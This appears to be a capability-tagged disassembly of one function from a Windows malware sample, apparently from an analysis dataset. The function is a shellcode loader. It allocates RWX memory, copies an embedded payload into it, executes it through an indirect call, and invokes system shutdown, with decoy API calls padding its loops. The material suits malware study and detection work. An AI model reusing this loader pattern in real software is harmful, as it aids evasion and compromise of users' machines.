Function at 0x403864
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk information
Shutdown system

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1454
call fcn.0040dee0
cmp dword [0x441af8], 0x5b1
push ebx
push esi
push edi
jne 0x403952
xor ebx, ebx
push ebx
lea eax, [ebp - 0x450]
push eax
push ebx
push 0x402efc
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push ebx
push ebx
push ebx
push 0x402f24
call dword [sym.imp.USER32.dll_CreateWindowStationW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push ebx
push 0x402f54
push 0x402f84
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push ebx
lea eax, [ebp - 0x4c]
push eax
push ebx
push ebx
push 0x402f98
push ebx
call dword [sym.imp.GDI32.dll_GetCharacterPlacementA]
push ebx
call fcn.00404372
pop ecx
push ebx
call fcn.00403de4
push ecx
mov eax, esp
mov dword [eax], ebx
push ecx
mov dword [eax + 4], ebx
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00403521
fstp st(0)
lea esi, [ebp - 0x18]
call fcn.004034e0
mov ecx, esi
call fcn.004034f7
push ebx
call fcn.00404081
pop ecx
call fcn.00403caf
push ebx
call fcn.004041b3
mov dword [esp], ebx
call fcn.00403554
fstp st(0)
push ebx
call fcn.004041b3
pop ecx
call fcn.004043e0
add dword [0x441af8], 0x1134b
push 0x402fc8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x402fd8
push eax
mov dword [0x440a4c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x441af8]
xor ebx, ebx
push ebx
mov dword [0x440a44], eax
call eax
xor esi, esi
mov dword [0x440a48], eax
cmp dword [0x441af8], ebx
jbe 0x4039ef
cmp dword [0x441af8], 0xa8
mov eax, dword [0x441afc]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x440a48]
mov byte [ecx + esi], al
jne 0x4039e6
push ebx
lea eax, [ebp - 0x450]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0xc50]
push eax
push 0x402fe8
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
inc esi
cmp esi, dword [0x441af8]
jb 0x40399e
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov dword [ebp - 4], ebx
mov eax, dword [0x441af8]
mov ecx, dword [ebp - 4]
add eax, ecx
cmp eax, 0xe
jne 0x403ab7
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 0x402ff8
push 0x403058
push 0x403080
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
push ebx
lea eax, [ebp - 0x850]
push eax
push 0x4030bc
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebx
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0xc50]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownW]
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ebp - 0x26]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x1450]
push eax
push 0x403100
lea eax, [ebp - 0x28]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push ebx
push ebx
lea eax, [ebp - 8]
push eax
call esi
push 0x4030e4
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x39621
jl 0x4039f8
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
cmp edi, 0x206d47
jg 0x403af1
inc edi
cmp edi, 0x4f6a4
jl 0x403acf
mov edi, 0x4e320c
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuW]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
call dword [sym.imp.USER32.dll_GetMessagePos]
dec edi
jne 0x403af6
call fcn.004037d2
call esi
cmp edi, 0x26
jne 0x403b21
call fcn.0040384a
inc edi
cmp edi, 0x6753f
jl 0x403b15
push 0x7b
pop esi
cmp dword [0x441af8], 0x86
jne 0x403b8c
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push 0x403158
push 0x40319c
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileType]
push ebx
push ebx
push 0x4031a8
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0x4031d4
push 0x4031e8
push 0x403210
push 0x403280
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0x4032c0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
dec esi
jne 0x403b2d
call fcn.00403598
pop edi
pop esi
pop ebx
leave
ret